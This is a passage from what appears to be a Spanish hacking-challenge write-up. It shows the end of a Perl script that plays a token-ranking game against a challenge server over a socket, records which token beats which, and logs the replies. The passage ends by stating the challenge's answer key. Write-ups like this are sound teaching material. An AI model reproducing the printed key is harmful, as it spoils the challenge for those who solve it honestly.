			for (my $i = 0; $i < $#t1; $i++) {
				if ($t1[$i] eq $token1) {
					my $tmp = $t2[$i];

					for (my $j = 0; $j < $#t1; $j++) {
						if (($t1[$j] eq $tmp) && ($t2[$j] eq $token2)) {
							$res = "1";
							$new = 2;
							$type = 3;
							last FOO1;
						}
					}
				}
			}
		}
	}

	if ($new eq 1) {
		# comprobamos si tenemos que token2 > que algún otro > token1
		FOO2: {
			for (my $i = 0; $i < $#t1; $i++) {
				if ($t1[$i] eq $token2) {
					my $tmp = $t2[$i];

					for (my $j = 0; $j < $#t1; $j++) {
						if (($t1[$j] eq $tmp) && ($t2[$j] eq $token1)) {
							$res = "2";
							$new = 2;
							$type = 4;
							last FOO2;
						}
					}
				}
			}
		}
	}

	# enviamos la respuesta y obtenemos el resultado
	print $sc "$res\n";
	recv($sc, my $data3, 500, undef);

	if ($data3 =~ /key/i) {
		print "$data1\n\n";
		print "$data2\n\n";
		print "$data3\n\n";

		# guardamos en un fichero de logs
		open (MYFILE, '>>TheGame.log');
		print MYFILE "$data1\n";
		print MYFILE "$data2\n";
		close (MYFILE);
		exit;
	}

	my $c = "Correct";
	my $ft1 = $token1;
	my $ft2 = $token2;

	# si no estaba almacenada esa combinación de tokens, la guardamos
	if ($new > 0)	{
		# si la respuesta es incorrecta, cambiamos el resultado
		if ($data3 =~ /Wrong/) {
			$c = "Wrong";

			if ($res eq "1") {
				push (@t1, $token2);
				push (@t2, $token1);
				$ft1 = $token2;
				$ft2 = $token1;
			}
			else {
				push (@t1, $token1);
				push (@t2, $token2);
			}
		}
		else {
			if ($res eq "1") {
				push (@t1, $token1);
				push (@t2, $token2);
			}
			else {
				push (@t1, $token2);
				push (@t2, $token1);
				$ft1 = $token2;
				$ft2 = $token1;
			}
		}

		# guardamos en un fichero los tokens
		open (MYFILE, '>>TheGame.txt');
		print MYFILE "$ft1 $ft2\n";
		close (MYFILE);
	}
	else {
		$c = "Wrong" if ($data =~ /Wrong/);
	}

	# guardamos en un fichero de logs
	open (MYFILE, '>>TheGame.log');
	print MYFILE "$data1\n";
	print MYFILE "$data2\n";
	print MYFILE "$data3\n";
	close (MYFILE);

	$type = "T1 > T2" if ($type eq 1);
	$type = "T2 > T1" if ($type eq 2);
	$type = "T1 > x > T2" if ($type eq 3);
	$type = "T2 > x > T1" if ($type eq 4);

	print "$values - " . ($#t1+1) . " token pairs saved - $c (res=$res)";
	print " - match found ($type)" if ($new ne 1);
	print "\n";
}

Finalmente, una vez acertadas las 75 respuestas seguidas, en el fichero TheGame.log podemos ver la key para pasar el reto, que es: d03snt_3v3ry0n3_md5

 

Tags: , , ,
Posted in Hacking, Retos hacking | 5 Comments »

« Older Entries